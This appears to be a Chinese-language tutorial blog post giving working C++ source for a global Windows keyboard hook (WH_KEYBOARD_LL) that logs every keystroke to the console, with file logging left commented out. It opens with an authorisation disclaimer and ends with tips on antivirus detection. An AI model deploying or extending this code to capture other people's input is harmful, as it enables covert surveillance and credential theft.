windows實現鍵盤記錄
使用 SetWindowsHookEx 編寫鍵盤記錄器(鍵盤鉤子/Keylogger)在技術上可行,通常用于調試、輸入法、輔助功能開發。但出于合法合規目的,請確保僅在你有授權的系統或窗口中使用,比如你自己開發的程序或本地測試,切勿用于竊取他人隱私或非法監控。
示例:全局鍵盤鉤子(WH_KEYBOARD_LL)
以下是一個基于 WinAPI 的最小可運行鍵盤記錄器(記錄到控制臺)
項目設置要求
- 平臺:Windows
- 編譯環境:Visual Studio(或 g++ with WinAPI 支持)
- 鏈接庫:User32.lib
示例代碼(鍵盤記錄器)
#include <windows.h>
#include <iostream>
#include <fstream>
HHOOK hHook = NULL;
// 按鍵回調函數
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
if (nCode == HC_ACTION) {
KBDLLHOOKSTRUCT* p = (KBDLLHOOKSTRUCT*)lParam;
if (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) {
DWORD vkCode = p->vkCode;
char keyName[32];
GetKeyNameTextA((LONG)(p->scanCode << 16), keyName, 32);
std::cout << "[KEY] VK: " << vkCode << " Name: " << keyName << std::endl;
// 也可以寫入日志文件
/*
std::ofstream log("keylog.txt", std::ios::app);
log << "Key Pressed: " << vkCode << std::endl;
log.close();
*/
}
}
return CallNextHookEx(hHook, nCode, wParam, lParam);
}
// 安裝鉤子
void SetHook() {
hHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, GetModuleHandle(NULL), 0);
if (hHook == NULL) {
std::cout << "Failed to install hook!" << std::endl;
} else {
std::cout << "Hook installed." << std::endl;
}
}
// 卸載鉤子
void Unhook() {
UnhookWindowsHookEx(hHook);
std::cout << "Hook removed." << std::endl;
}
int main() {
SetHook();
// 消息循環,否則鉤子不會觸發
MSG msg;
while (GetMessage(&msg, NULL, 0, 0)) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
Unhook();
return 0;
}
-
WH_KEYBOARD_LL 只能在桌面進程中設置,不能在服務中工作。
-
這段代碼只是“監聽按鍵事件”,如果你想記錄文本,還需要配合 ToAscii() 或 GetKeyboardState() 轉換為字符。
-
為防止被殺毒軟件誤報為木馬,避免編譯后的程序駐留后臺、上傳按鍵信息等行為。

浙公網安備 33010602011771號